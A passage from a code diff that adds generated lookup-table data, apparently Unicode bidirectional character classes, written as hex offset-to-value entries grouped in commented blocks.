0x000a, 0x2069: 0x000a, + 0x206a: 0x000a, 0x206b: 0x000a, 0x206c: 0x000c, + 0x2078: 0x0004, 0x2079: 0x0004, + // Block 0x82, offset 0x2080 + 0x20b4: 0x000a, 0x20b5: 0x000a, + 0x20b6: 0x000a, 0x20b7: 0x000a, + // Block 0x83, offset 0x20c0 + 0x20c4: 0x000c, 0x20c5: 0x000c, + 0x20e0: 0x000c, 0x20e1: 0x000c, 0x20e2: 0x000c, 0x20e3: 0x000c, + 0x20e4: 0x000c, 0x20e5: 0x000c, 0x20e6: 0x000c, 0x20e7: 0x000c, 0x20e8: 0x000c, 0x20e9: 0x000c, + 0x20ea: 0x000c, 0x20eb: 0x000c, 0x20ec: 0x000c, 0x20ed: 0x000c, 0x20ee: 0x000c, 0x20ef: 0x000c, + 0x20f0: 0x000c, 0x20f1: 0x000c, + 0x20ff: 0x000c, + // Block 0x84, offset 0x2100 + 0x2126: 0x000c, 0x2127: 0x000c, 0x2128: 0x000c, 0x2129: 0x000c, + 0x212a: 0x000c, 0x212b: 0x000c, 0x212c: 0x000c, 0x212d: 0x000c, + // Block 0x85, offset 0x2140 + 0x2147: 0x000c, 0x2148: 0x000c, 0x2149: 0x000c, 0x214a: 0x000c, 0x214b: 0x000c, + 0x214c: 0x000c, 0x214d: 0x000c, 0x214e: 0x000c, 0x214f: 0x000c, 0x2150: 0x000c, 0x2151: 0x000c, + // Block 0x86, offset 0x2180 + 0x2180: 0x000c, 0x2181: 0x000c, 0x2182: 0x000c, + 0x21b3: 0x000c, + 0x21b6: 0x000c, 0x21b7: 0x000c, 0x21b8: 0x000c, 0x21b9: 0x000c, + 0x21bc: 0x000c, 0x21bd: 0x000c, + // Block 0x87, offset 0x21c0 + 0x21e5: 0x000c, + // Block 0x88, offset 0x2200 + 0x2229: 0x000c, + 0x222a: 0x000c, 0x222b: 0x000c, 0x222c: 0x000c, 0x222d: 0x000c, 0x222e: 0x000c, + 0x2231: 0x000c, 0x2232: 0x000c, 0x2235: 0x000c, + 0x2236: 0x000c, + // Block 0x89, offset 0x2240 + 0x2243: 0x000c, + 0x224c: 0x000c, + 0x227c: 0x000c, + // Block 0x8a, offset 0x2280 + 0x22b0: 0x000c, 0x22b2: 0x000c, 0x22b3: 0x000c, 0x22b4: 0x000c, + 0x22b7: 0x000c, 0x22b8: 0x000c, + 0x22be: 0x000c, 0x22bf: 0x000c, + // Block 0x8b, offset 0x22c0 + 0x22c1: 0x000c, + 0x22ec: 0x000c, 0x22ed: 0x000c, + 0x22f6: 0x000c, + // Block 0x8c, offset 0x2300 + 0x232a: 0x000a, 0x232b: 0x000a, + // Block 0x8d, offset 0x2340 + 0x2365: 0x000c, 0x2368: 0x000c, + 0x236d: 0x000c, + // Block 0x8e, offset 0x2380 + 0x239d: 0x0001, + 0x239e: 0x000c, 0x239f: 0x0001, 0x23a0: 0x0001, 0x23a1: 0x0001, 0x23a2: 0x0001, 0x23a3: 0x0001, + 0x23a4: 0x0001, 0x23a5: 0x0001, 0x23a6: 0x0001, 0x23a7: 0x0001, 0x23a8: 0x0001, 0x23a9: 0x0003, + 0x23aa: 0x0001, 0x23ab: 0x0001, 0x23ac: 0x0001, 0x23ad: 0x0001, 0x23ae: 0x0001, 0x23af: 0x0001, + 0x23b0: 0x0001, 0x23b1: 0x0001, 0x23b2: 0x0001, 0x23b3: 0x0001, 0x23b4: 0x0001, 0x23b5: 0x0001, + 0x23b6: 0x0001, 0x23b7: 0x0001, 0x23b8: 0x0001, 0x23b9: 0x0001, 0x23ba: 0x0001, 0x23bb: 0x0001, + 0x23bc: 0x0001, 0x23bd: 0x0001, 0x23be: 0x0001, 0x23bf: 0x0001, + // Block 0x8f, offset 0x23c0 + 0x23c0: 0x0001, 0x23c1: 0x0001, 0x23c2: 0x0001, 0x23c3: 0x0001, 0x23c4: 0x0001, 0x23c5: 0x0001, + 0x23c6: 0x0001, 0x23c7: 0x0001, 0x23c8: 0x0001, 0x23c9: 0x0001, 0x23ca: 0x0001, 0x23cb: 0x0001, + 0x23cc: 0x0001, 0x23cd: 0x0001, 0x23ce: 0x0001, 0x23cf: 0x0001, 0x23d0: 0x000d, 0x23d1: 0x000d, + 0x23d2: 0x000d, 0x23d3: 0x000d, 0x23d4: 0x000d, 0x23d5: 0x000d, 0x23d6: 0x000d, 0x23d7: 0x000d, + 0x23d8: 0x000d, 0x23d9: 0x000d, 0x23da: 0x000d, 0x23db: 0x000d, 0x23dc: 0x000d, 0x23dd: 0x000d, + 0x23de: 0x000d, 0x23df: 0x000d, 0x23e0: 0x000d, 0x23e1: 0x000d, 0x23e2: 0x000d, 0x23e3: 0x000d, + 0x23e4: 0x000d, 0x23e5: 0x000d, 0x23e6: 0x000d, 0x23e7: 0x000d, 0x23e8: 0x000d, 0x23e9: 0x000d, + 0x23ea: 0x000d, 0x23eb: 0x000d, 0x23ec: 0x000d, 0x23ed: 0x000d, 0x23ee: 0x000d, 0x23ef: 0x000d, + 0x23f0: 0x000d, 0x23f1: 0x000d, 0x23f2: 0x000d, 0x23f3: 0x000d, 0x23f4: 0x000d, 0x23f5: 0x000d, + 0x23f6: 0x000d, 0x23f7: 0x000d, 0x23f8: 0x000d, 0x23f9: 0x000d, 0x23fa: 0x000d, 0x23fb: 0x000d, + 0x23fc: 0x000d, 0x23fd: 0x000d, 0x23fe: 0x000d, 0x23ff: 0x000d, + // Block 0x90, offset 0x2400 + 0x2400: 0x000d, 0x2401: 0x000d, 0x2402: 0x000d, 0x2403: 0x000d, 0x2404: 0x000d, 0x2405: 0x000d, + 0x2406: 0x000d, 0x2407: 0x000d, 0x2408: 0x000d, 0x2409: 0x000d, 0x240a: 0x000d, 0x240b: 0x000d, + 0x240c: 0x000d, 0x240d: 0x000d, 0x240e: 0x000d, 0x240f: 0x000d, 0x2410: 0x000d, 0x2411: 0x000d, + 0x2412: 0x000d, 0x2413: 0x000d, 0x2414: 0x000d, 0x2415: 0x000d, 0x2416: 0x000d, 0x2417: 0x000d, + 0x2418: 0x000d, 0x2419: 0x000d, 0x241a: 0x000d, 0x241b: 0x000d, 0x241c: 0x000d, 0x241d: 0x000d, + 0x241e: 0x000d, 0x241f: 0x000d, 0x2420: 0x000d, 0x2421: 0x000d, 0x2422: 0x000d, 0x2423: 0x000d, + 0x2424: 0x000d, 0x2425: 0x000d, 0x2426: 0x000d, 0x2427: 0x000d, 0x2428: 0x000d, 0x2429: 0x000d, + 0x242a: 0x000d, 0x242b: 0x000d, 0x242c: 0x000d, 0x242d: 0x000d, 0x242e: 0x000d, 0x242f: 0x000d, + 0x2430: 0x000d, 0x2431: 0x000d, 0x2432: 0x000d, 0x2433: 0x000d, 0x2434: 0x000d, 0x2435: 0x000d, + 0x2436: 0x000d, 0x2437: 0x000d, 0x2438: 0x000d, 0x2439: 0x000d, 0x243a: 0x000d, 0x243b: 0x000d, + 0x243c: 0x000d, 0x243d: 0x000d, 0x243e: 0x000a, 0x243f: 0x000a, + // Block 0x91, offset 0x2440 + 0x2440: 0x000a, 0x2441: 0x000a, 0x2442: 0x000a, 0x2443: 0x000a, 0x2444: 0x000a, 0x2445: 0x000a, + 0x2446: 0x000a, 0x2447: 0x000a, 0x2448: 0x000a, 0x2449: 0x000a, 0x244a: 0x000a, 0x244b: 0x000a, + 0x244c: 0x000a, 0x244d: 0x000a, 0x244e: 0x000a, 0x244f: 0x000a, 0x2450: 0x000d, 0x2451: 0x000d, + 0x2452: 0x000d, 0x2453: 0x000d, 0x2454: 0x000d, 0x2455: 0x000d, 0x2456: 0x000d, 0x2457: 0x000d, + 0x2458: 0x000d, 0x2459: 0x000d, 0x245a: 0x000d, 0x245b: 0x000d, 0x245c: 0x000d, 0x245d: 0x000d, + 0x245e: 0x000d, 0x245f: 0x000d, 0x2460: 0x000d, 0x2461: 0x000d, 0x2462: 0x000d, 0x2463: 0x000d, + 0x2464: 0x000d, 0x2465: 0x000d, 0x2466: 0x000d, 0x2467: 0x000d, 0x2468: 0x000d, 0x2469: 0x000d, + 0x246a: 0x000d, 0x246b: 0x000d, 0x246c: 0x000d, 0x246d: 0x000d, 0x246e: 0x000d, 0x246f: 0x000d, + 0x2470: 0x000d, 0x2471: 0x000d, 0x2472: 0x000d, 0x2473: 0x000d, 0x2474: 0x000d, 0x2475: 0x000d, + 0x2476: 0x000d, 0x2477: 0x000d, 0x2478: 0x000d, 0x2479: 0x000d, 0x247a: 0x000d, 0x247b: 0x000d, + 0x247c: 0x000d, 0x247d: 0x000d, 0x247e: 0x000d, 0x247f: 0x000d, + // Block 0x92, offset 0x2480 + 0x2480: 0x000d, 0x2481: 0x000d, 0x2482: 0x000d, 0x2483: 0x000d, 0x2484: 0x000d, 0x2485: 0x000d, + 0x2486: 0x000d, 0x2487: 0x000d, 0x2488: 0x000d, 0x2489: 0x000d, 0x248a: 0x000d, 0x248b: 0x000d, + 0x248c: 0x000d, 0x248d: 0x000d, 0x248e: 0x000d, 0x248f: 0x000a, 0x2490: 0x000b, 0x2491: 0x000b, + 0x2492: 0x000b, 0x2493: 0x000b, 0x2494: 0x000b, 0x2495: 0x000b, 0x2496: 0x000b, 0x2497: 0x000b, + 0x2498: 0x000b, 0x2499: 0x000b, 0x249a: 0x000b, 0x249b: 0x000b, 0x249c: 0x000b, 0x249d: 0x000b, + 0x249e: 0x000b, 0x249f: 0x000b, 0x24a0: 0x000b, 0x24a1: 0x000b, 0x24a2: 0x000b, 0x24a3: 0x000b, + 0x24a4: 0x000b, 0x24a5: 0x000b, 0x24a6: 0x000b, 0x24a7: 0x000b, 0x24a8: 0x000b, 0x24a9: 0x000b, + 0x24aa: 0x000b, 0x24ab: 0x000b, 0x24ac: 0x000b, 0x24ad: 0x000b, 0x24ae: 0x000b, 0x24af: 0x000b, + 0x24b0: 0x000d, 0x24b1: 0x000d, 0x24b2: 0x000d, 0x24b3: 0x000d, 0x24b4: 0x000d, 0x24b5: 0x000d, + 0x24b6: 0x000d, 0x24b7: 0x000d, 0x24b8: 0x000d, 0x24b9: 0x000d, 0x24ba: 0x000d, 0x24bb: 0x000d, + 0x24bc: 0x000d, 0x24bd: 0x000a, 0x24be: 0x000a, 0x24bf: 0x000a, + // Block 0x93, offset 0x24c0 + 0x24c0: 0x000c, 0x24c1: 0x000c, 0x24c2: 0x000c, 0x24c3: 0x000c, 0x24c4: 0x000c, 0x24c5: 0x000c, + 0x24c6: 0x000c, 0x24c7: 0x000c, 0x24c8: 0x000c, 0x24c9: 0x000c, 0x24ca: 0x000c, 0x24cb: 0x000c, + 0x24cc: 0x000c, 0x24cd: 0x000c, 0x24ce: 0x000c, 0x24cf: 0x000c, 0x24d0: 0x000a, 0x24d1: 0x000a, + 0x24d2: 0x000a, 0x24d3: 0x000a, 0x24d4: 0x000a, 0x24d5: 0x000a, 0x24d6: 0x000a, 0x24d7: 0x000a, + 0x24d8: 0x000a, 0x24d9: 0x000a, + 0x24e0: 0x000c, 0x24e1: 0x000c, 0x24e2: 0x000c, 0x24e3: 0x000c, + 0x24e4: 0x000c, 0x24e5: 0x000c, 0x24e6: 0x000c, 0x24e7: 0x000c, 0x24e8: 0x000c, 0x24e9: 0x000c, + 0x24ea: 0x000c, 0x24eb: 0x000c, 0x24ec: 0x000c, 0x24ed: 0x000c, 0x24ee: 0x000c, 0x24ef: 0x000c, + 0x24f0: 0x000a, 0x24f1: 0x000a, 0x24f2: 0x000a, 0x24f3: 0x000a, 0x24f4: 0x000a, 0x24f5: 0x000a, + 0x24f6: 0x000a, 0x24f7: 0x000a, 0x24f8: 0x000a, 0x24f9: 0x000a, 0x24fa: 0x000a, 0x24fb: 0x000a, + 0x24fc: 0x000a, 0x24fd: 0x000a, 0x24fe: 0x000a, 0x24ff: 0x000a, + // Block 0x94, offset 0x2500 + 0x2500: 0x000a, 0x2501: 0x000a, 0x2502: 0x000a, 0x2503: 0x000a, 0x2504: 0x000a, 0x2505: 0x000a, + 0x2506: 0x000a, 0x2507: 0x000a, 0x2508: 0x000a, 0x2509: 0x000a, 0x250a: 0x000a, 0x250b: 0x000a, + 0x250c: 0x000a, 0x250d: 0x000a, 0x250e: 0x000a, 0x250f: 0x000a, 0x2510: 0x0006, 0x2511: 0x000a, + 0x2512: 0x0006, 0x2514: 0x000a, 0x2515: 0x0006, 0x2516: 0x000a, 0x2517: 0x000a, + 0x2518: 0x000a, 0x2519: 0x009a, 0x251a: 0x008a, 0x251b: 0x007a, 0x251c: 0x006a, 0x251d: 0x009a, + 0x251e: 0x008a, 0x251f: 0x0004, 0x2520: 0x000a, 0x2521: 0x000a, 0x2522: 0x0003, 0x2523: 0x0003, + 0x2524: 0x000a, 0x2525: 0x000a, 0x2526: 0x000a, 0x2528: 0x000a, 0x2529: 0x0004, + 0x252a: 0x0004, 0x252b: 0x000a, + 0x2530: 0x000d, 0x2531: 0x000d, 0x2532: 0x000d, 0x2533: 0x000d, 0x2534: 0x000d, 0x2535: 0x000d, + 0x2536: 0x000d, 0x2537: 0x000d, 0x2538: 0x000d, 0x2539: 0x000d, 0x253a: 0x000d, 0x253b: 0x000d, + 0x253c: 0x000d, 0x253d: 0x000d, 0x253e: 0x000d, 0x253f: 0x000d, + // Block 0x95, offset 0x2540 + 0x2540: 0x000d, 0x2541: 0x000d, 0x2542: 0x000d, 0x2543: 0x000d, 0x2544: 0x000d, 0x2545: 0x000d, + 0x2546: 0x000d, 0x2547: 0x000d, 0x2548: 0x000d, 0x2549: 0x000d, 0x254a: 0x000d, 0x254b: 0x000d, + 0x254c: 0x000d, 0x254d: 0x000d, 0x254e: 0x000d, 0x254f: 0x000d, 0x2550: 0x000d, 0x2551: 0x000d, + 0x2552: 0x000d, 0x2553: 0x000d, 0x2554: 0x000d, 0x2555: 0x000d, 0x2556: 0x000d, 0x2557: 0x000d, + 0x2558: 0x000d, 0x2559: 0x000d, 0x255a: 0x000d, 0x255b: 0x000d, 0x255c: 0x000d, 0x255d: 0x000d, + 0x255e: 0x000d, 0x255f: 0x000d, 0x2560: 0x000d, 0x2561: 0x000d, 0x2562: 0x000d, 0x2563: 0x000d, + 0x2564: 0x000d, 0x2565: 0x000d, 0x2566: 0x000d, 0x2567: 0x000d, 0x2568: 0x000d, 0x2569: 0x000d, + 0x256a: 0x000d, 0x256b: 0x000d, 0x256c: 0x000d, 0x256d: 0x000d, 0x256e: 0x000d, 0x256f: 0x000d, + 0x2570: 0x000d, 0x2571: 0x000d, 0x2572: 0x000d, 0x2573: 0x000d, 0x2574: 0x000d, 0x2575: 0x000d, + 0x2576: 0x000d, 0x2577: 0x000d, 0x2578: 0x000d, 0x2579: 0x000d, 0x257a: 0x000d, 0x257b: 0x000d, + 0x257c: 0x000d, 0x257d: 0x000d, 0x257e: 0x000d, 0x257f: 0x000b, + // Block 0x96, offset 0x2580 + 0x2581: 0x000a, 0x2582: 0x000a, 0x2583: 0x0004, 0x2584: 0x0004, 0x2585: 0x0004, + 0x2586: 0x000a, 0x2587: 0x000a, 0x2588: 0x003a, 0x2589: 0x002a, 0x258a: 0x000a, 0x258b: 0x0003, + 0x258c: 0x0006, 0x258d: 0x0003, 0x258e: 0x0006, 0x258f: 0x0006, 0x2590: 0x0002, 0x2591: 0x0002, + 0x2592: 0x0002, 0x2593: 0x0002, 0x2594: 0x0002, 0x2595: 0x0002, 0x2596: 0x0002, 0x2597: 0x0002, + 0x2598: 0x0002, 0x2599: 0x0002, 0x259a: 0x0006, 0x259b: 0x000a, 0x259c: 0x000a, 0x259d: 0x000a, + 0x259e: 0x000a, 0x259f: 0x000a, 0x25a0: 0x000a, + 0x25bb: 0x005a, + 0x25bc: 0x000a, 0x25bd: 0x004a, 0x25be: 0x000a, 0x25bf: 0x000a, + // Block 0x97, offset 0x25c0 + 0x25c0: 0x000a, + 0x25db: 0x005a, 0x25dc: 0x000a, 0x25dd: 0x004a, + 0x25de: 0x000a, 0x25df: 0x00fa, 0x25e0: 0x00ea, 0x25e1: 0x000a, 0x25e2: 0x003a, 0x25e3: 0x002a, + 0x25e4: 0x000a, 0x25e5: 0x000a, + // Block 0x98, offset 0x2600 + 0x2620: 0x0004, 0x2621: 0x0004, 0x2622: 0x000a, 0x2623: 0x000a, + 0x2624: 0x000a, 0x2625: 0x0004, 0x2626: 0x0004, 0x2628: 0x000a, 0x2629: 0x000a, + 0x262a: 0x000a, 0x262b: 0x000a, 0x262c: 0x000a, 0x262d: 0x000a, 0x262e: 0x000a, + 0x2630: 0x000b, 0x2631: 0x000b, 0x2632: 0x000b, 0x2633: 0x000b, 0x2634: 0x000b, 0x2635: 0x000b, + 0x2636: 0x000b, 0x2637: 0x000b, 0x2638: 0x000b, 0x2639: 0x000a, 0x263a: 0x000a, 0x263b: 0x000a, + 0x263c: 0x000a, 0x263d: 0x000a, 0x263e: 0x000b, 0x263f: 0x000b, + // Block 0x99, offset 0x2640 + 0x2641: 0x000a, + // Block 0x9a, offset 0x2680 + 0x2680: 0x000a, 0x2681: 0x000a, 0x2682: 0x000a, 0x2683: 0x000a, 0x2684: 0x000a, 0x2685: 0x000a, + 0x2686: 0x000a, 0x2687: 0x000a, 0x2688: 0x000a, 0x2689: 0x000a, 0x268a: 0x000a, 0x268b: 0x000a, + 0x268c: 0x000a, 0x2690: 0x000a, 0x2691: 0x000a, + 0x2692: 0x000a, 0x2693: 0x000a, 0x2694: 0x000a, 0x2695: 0x000a, 0x2696: 0x000a, 0x2697: 0x000a, + 0x2698: 0x000a, 0x2699: 0x000a, 0x269a: 0x000a, 0x269b: 0x000a, 0x269c: 0x000a, + 0x26a0: 0x000a, + // Block 0x9b, offset 0x26c0 + 0x26fd: 0x000c, + // Block 0x9c, offset 0x2700 + 0x2720: 0x000c, 0x2721: 0x0002, 0x2722: 0x0002, 0x2723: 0x0002, + 0x2724: 0x0002, 0x2725: 0x0002, 0x2726: 0x0002, 0x2727: 0x0002, 0x2728: 0x0002, 0x2729: 0x0002, + 0x272a: 0x0002, 0x272b: 0x0002, 0x272c: 0x0002, 0x272d: 0x0002, 0x272e: 0x0002, 0x272f: 0x0002, + 0x2730: 0x0002, 0x2731: 0x0002, 0x2732: 0x0002, 0x2733: 0x0002, 0x2734: 0x0002, 0x2735: 0x0002, + 0x2736: 0x0002, 0x2737: 0x0002, 0x2738: 0x0002, 0x2739: 0x0002, 0x273a: 0x0002, 0x273b: 0x0002, + // Block 0x9d, offset 0x2740 + 0x2776: 0x000c, 0x2777: 0x000c, 0x2778: 0x000c, 0x2779: 0x000c, 0x277a: 0x000c, + // Block 0x9e, offset 0x2780 + 0x2780: 0x0001, 0x2781: 0x0001, 0x2782: 0x0001, 0x2783: 0x0001, 0x2784: 0x0001, 0x2785: 0x0001, + 0x2786: 0x0001, 0x2787: 0x0001, 0x2788: 0x0001, 0x2789: 0x0001, 0x278a: 0x0001, 0x278b: 0x0001, + 0x278c: 0x0001, 0x278d: 0x0001, 0x278e: 0x0001, 0x278f: 0x0001, 0x2790: 0x0001, 0x2791: 0x0001, + 0x2792: 0x0001, 0x2793: 0x0001, 0x2794: 0x0001, 0x2795: 0x0001, 0x2796: 0x0001, 0x2797: 0x0001, + 0x2798: 0x0001, 0x2799: 0x0001, 0x279a: 0x0001, 0x279b: 0x0001, 0x279c: 0x0001, 0x279d: 0x0001, + 0x279e: 0x0001, 0x279f: 0x0001, 0x27a0: 0x0001, 0x27a1: 0x0001, 0x27a2: 0x0001, 0x27a3: 0x0001, + 0x27a4: 0x0001, 0x27a5: 0x0001, 0x27a6: 0x0001, 0x27a7: 0x0001, 0x27a8: 0x0001, 0x27a9: 0x0001, + 0x27aa: 0x0001, 0x27ab: 0x0001, 0x27ac: 0x0001, 0x27ad: 0x0001, 0x27ae: 0x0001, 0x27af: 0x0001, + 0x27b0: 0x0001, 0x27b1: 0x0001, 0x27b2: 0x0001, 0x27b3: 0x0001, 0x27b4: 0x0001, 0x27b5: 0x0001, + 0x27b6: 0x0001, 0x27b7: 0x0001, 0x27b8: 0x0001, 0x27b9: 0x0001, 0x27ba: 0x0001, 0x27bb: 0x0001, + 0x27bc: 0x0001, 0x27bd: 0x0001, 0x27be: 0x0001, 0x27bf: 0x0001, + // Block 0x9f, offset 0x27c0 + 0x27c0: 0x0001, 0x27c1: 0x0001, 0x27c2: 0x0001, 0x27c3: 0x0001, 0x27c4: 0x0001, 0x27c5: 0x0001, + 0x27c6: 0x0001, 0x27c7: 0x0001, 0x27c8: 0x0001, 0x27c9: 0x0001, 0x27ca: 0x0001, 0x27cb: 0x0001, + 0x27cc: 0x0001, 0x27cd: 0x0001, 0x27ce: 0x0001, 0x27cf: 0x0001, 0x27d0: 0x0001, 0x27d1: 0x0001, + 0x27d2: 0x0001, 0x27d3: 0x0001, 0x27d4: 0x0001, 0x27d5: 0x0001, 0x27d6: 0x0001, 0x27d7: 0x0001, + 0x27d8: 0x0001, 0x27d9: 0x0001, 0x27da: 0x0001, 0x27db: 0x0001, 0x27dc: 0x0001, 0x27dd: 0x0001, + 0x27de: 0x0001, 0x27df: 0x000a, 0x27e0: 0x0001, 0x27e1: 0x0001, 0x27e2: 0x0001, 0x27e3: 0x0001, + 0x27e4: 0x0001, 0x27e5: 0x0001, 0x27e6: 0x0001, 0x27e7: 0x0001, 0x27e8: 0x0001, 0x27e9: 0x0001, + 0x27ea: 0x0001, 0x27eb: 0x0001, 0x27ec: 0x0001, 0x27ed: 0x0001, 0x27ee: 0x0001, 0x27ef: 0x0001, + 0x27f0: 0x0001, 0x27f1: 0x0001, 0x27f2: 0x0001, 0x27f3: 0x0001, 0x27f4: 0x0001, 0x27f5: 0x0001, + 0x27f6: 0x0001, 0x27f7: 0x0001, 0x27f8: 0x0001, 0x27f9: 0x0001, 0x27fa: 0x0001, 0x27fb: 0x0001, + 0x27fc: 0x0001, 0x27fd: 0x0001, 0x27fe: 0x0001, 0x27ff: 0x0001, + // Block 0xa0, offset 0x2800 + 0x2800: 0x0001, 0x2801: 0x000c, 0x2802: 0x000c, 0x2803: 0x000c, 0x2804: 0x0001, 0x2805: 0x000c, + 0x2806: 0x000c, 0x2807: 0x0001, 0x2808: 0x0001, 0x2809: 0x0001, 0x280a: 0x0001, 0x280b: 0x0001, + 0x280c: 0x000c, 0x280d: 0x000c, 0x280e: 0x000c, 0x280f: 0x000c, 0x2810: 0x0001, 0x2811: 0x0001, + 0x2812: 0x0001, 0x2813: 0x0001, 0x2814: 0x0001, 0x2815: 0x0001, 0x2816: 0x0001, 0x2817: 0x0001, + 0x2818: 0x0001, 0x2819: 0x0001, 0x281a: 0x0001, 0x281b: 0x0001, 0x281c: 0x0001, 0x281d: 0x0001, + 0x281e: 0x0001, 0x281f: 0x0001, 0x2820: 0x0001, 0x2821: 0x0001, 0x2822: 0x0001, 0x2823: 0x0001, + 0x2824: 0x0001, 0x2825: 0x0001, 0x2826: 0x0001, 0x2827: 0x0001, 0x2828: 0x0001, 0x2829: 0x0001, + 0x282a: 0x0001, 0x282b: 0x0001, 0x282c: 0x0001, 0x282d: 0x0001, 0x282e: 0x0001, 0x282f: 0x0001, + 0x2830: 0x0001, 0x2831: 0x0001, 0x2832: 0x0001, 0x2833: 0x0001, 0x2834: 0x0001, 0x2835: 0x0001, + 0x2836: 0x0001, 0x2837: 0x0001, 0x2838: 0x000c, 0x2839: 0x000c, 0x283a: 0x000c, 0x283b: 0x0001, + 0x283c: 0x0001, 0x283d: 0x0001, 0x283e: 0x0001, 0x283f: 0x000c, + // Block 0xa1, offset 0x2840 + 0x2840: 0x0001, 0x2841: 0x0001, 0x2842: 0x0001, 0x2843: 0x0001, 0x2844: 0x0001, 0x2845: 0x0001, + 0x2846: 0x0001, 0x2847: 0x0001, 0x2848: 0x0001, 0x2849: 0x0001, 0x284a: 0x0001, 0x284b: 0x0001, + 0x284c: 0x0001, 0x284d: 0x0001, 0x284e: 0x0001, 0x284f: 0x0001, 0x2850: 0x0001, 0x2851: 0x0001, + 0x2852: 0x0001, 0x2853: 0x0001, 0x2854: 0x0001, 0x2855: 0x0001, 0x2856: 0x0001, 0x2857: 0x0001, + 0x2858: 0x0001, 0x2859: 0x0001, 0x285a: 0x0001, 0x285b: 0x0001, 0x285c: 0x0001, 0x285d: 0x0001, + 0x285e: 0x0001, 0x285f: 0x0001, 0x2860: 0x0001, 0x2861: 0x0001, 0x2862: 0x0001, 0x2863: 0x0001, + 0x2864: 0x0001, 0x2865: 0x000c, 0x2866: 0x000c, 0x2867: 0x0001, 0x2868: 0x0001, 0x2869: 0x0001, + 0x286a: 0x0001, 0x286b: 0x0001, 0x286c: 0x0001, 0x286d: 0x0001, 0x286e: 0x0001, 0x286f: 0x0001, + 0x2870: 0x0001, 0x2871: 0x0001, 0x2872: 0x0001, 0x2873: 0x0001, 0x2874: 0x0001, 0x2875: 0x0001, + 0x2876: 0x0001, 0x2877: 0x0001, 0x2878: 0x0001, 0x2879: 0x0001, 0x287a: 0x0001, 0x287b: 0x0001, + 0x287c: 0x0001, 0x287d: 0x0001, 0x287e: 0x0001, 0x287f: 0x0001, + // Block 0xa2, offset 0x2880 + 0x2880: 0x0001, 0x2881: 0x0001, 0x2882: 0x0001, 0x2883: 0x0001, 0x2884: 0x0001, 0x2885: 0x0001, + 0x2886: 0x0001, 0x2887: 0x0001, 0x2888: 0x0001, 0x2889: 0x0001, 0x288a: 0x0001, 0x288b: 0x0001, + 0x288c: 0x0001, 0x288d: 0x0001, 0x288e: 0x0001, 0x288f: 0x0001, 0x2890: 0x0001, 0x2891: 0x0001, + 0x2892: 0x0001, 0x2893: 0x0001, 0x2894: 0x0001, 0x2895: 0x0001, 0x2896: 0x0001, 0x2897: 0x0001, + 0x2898: 0x0001, 0x2899: 0x0001, 0x289a: 0x0001, 0x289b: 0x0001, 0x289c: 0x0001, 0x289d: 0x0001, + 0x289e: 0x0001, 0x289f: 0x0001, 0x28a0: 0x0001, 0x28a1: 0x0001, 0x28a2: 0x0001, 0x28a3: 0x0001, + 0x28a4: 0x0001, 0x28a5: 0x0001, 0x28a6: 0x0001, 0x28a7: 0x0001, 0x28a8: 0x0001, 0x28a9: 0x0001, + 0x28aa: 0x0001, 0x28ab: 0x0001, 0x28ac: 0x0001, 0x28ad: 0x0001, 0x28ae: 0x0001, 0x28af: 0x0001, + 0x28b0: 0x0001, 0x28b1: 0x0001, 0x28b2: 0x0001, 0x28b3: 0x0001, 0x28b4: 0x0001, 0x28b5: 0x0001, + 0x28b6: 0x0001, 0x28b7: 0x0001, 0x28b8: 0x0001, 0x28b9: 0x000a, 0x28ba: 0x000a, 0x28bb: 0x000a, + 0x28bc: 0x000a, 0x28bd: 0x000a, 0x28be: 0x000a, 0x28bf: 0x000a, + // Block 0xa3, offset 0x28c0 + 0x28c0: 0x000d, 0x28c1: 0x000d, 0x28c2: 0x000d, 0x28c3: 0x000d, 0x28c4: 0x000d, 0x28c5: 0x000d, + 0x28c6: 0x000d, 0x28c7: 0x000d, 0x28c8: 0x000d, 0x28c9: 0x000d, 0x28ca: 0x000d, 0x28cb: 0x000d, + 0x28cc: 0x000d, 0x28cd: 0x000d, 0x28ce: 0x000d, 0x28cf: 0x000d, 0x28d0: 0x000d, 0x28d1: 0x000d, + 0x28d2: 0x000d, 0x28d3: 0x000d, 0x28d4: 0x000d, 0x28d5: 0x000d, 0x28d6: 0x000d, 0x28d7: 0x000d, + 0x28d8: 0x000d, 0x28d9: 0x000d, 0x28da: 0x000d, 0x28db: 0x000d, 0x28dc: 0x000d, 0x28dd: 0x000d, + 0x28de: 0x000d, 0x28df: 0x000d, 0x28e0: 0x000d, 0x28e1: 0x000d, 0x28e2: 0x000d, 0x28e3: 0x000d, + 0x28e4: 0x000c, 0x28e5: 0x000c, 0x28e6: 0x000c, 0x28e7: 0x000c, 0x28e8: 0x0001, 0x28e9: 0x0001, + 0x28ea: 0x0001, 0x28eb: 0x0001, 0x28ec: 0x0001, 0x28ed: 0x0001, 0x28ee: 0x0001, 0x28ef: 0x0001, + 0x28f0: 0x0005, 0x28f1: 0x0005, 0x28f2: 0x0005, 0x28f3: 0x0005, 0x28f4: 0x0005, 0x28f5: 0x0005, + 0x28f6: 0x0005, 0x28f7: 0x0005, 0x28f8: 0x0005, 0x28f9: 0x0005, 0x28fa: 0x0001, 0x28fb: 0x0001, + 0x28fc: 0x0001, 0x28fd: 0x0001, 0x28fe: 0x0001, 0x28ff: 0x0001, + // Block 0xa4, offset 0x2900 + 0x2900: 0x0001, 0x2901: 0x0001, 0x2902: 0x0001, 0x2903: 0x0001, 0x2904: 0x0001, 0x2905: 0x0001, + 0x2906: 0x0001, 0x2907: 0x0001, 0x2908: 0x0001, 0x2909: 0x0001, 0x290a: 0x0001, 0x290b: 0x0001, + 0x290c: 0x0001, 0x290d: 0x0001, 0x290e: 0x0001, 0x290f: 0x0001, 0x2910: 0x0001, 0x2911: 0x0001, + 0x2912: 0x0001, 0x2913: 0x0001, 0x2914: 0x0001, 0x2915: 0x0001, 0x2916: 0x0001, 0x2917: 0x0001, + 0x2918: 0x0001, 0x2919: 0x0001, 0x291a: 0x0001, 0x291b: 0x0001, 0x291c: 0x0001, 0x291d: 0x0001, + 0x291e: 0x0001, 0x291f: 0x0001, 0x2920: 0x0005, 0x2921: 0x0005, 0x2922: 0x0005, 0x2923: 0x0005, + 0x2924: 0x0005, 0x2925: 0x0005, 0x2926: 0x0005, 0x2927: 0x0005, 0x2928: 0x0005, 0x2929: 0x0005, + 0x292a: 0x0005, 0x292b: 0x0005, 0x292c: 0x0005, 0x292d: 0x0005, 0x292e: 0x0005, 0x292f: 0x0005, + 0x2930: 0x0005, 0x2931: 0x0005, 0x2932: 0x0005, 0x2933: 0x0005, 0x2934: 0x0005, 0x2935: 0x0005, + 0x2936: 0x0005, 0x2937: 0x0005, 0x2938: 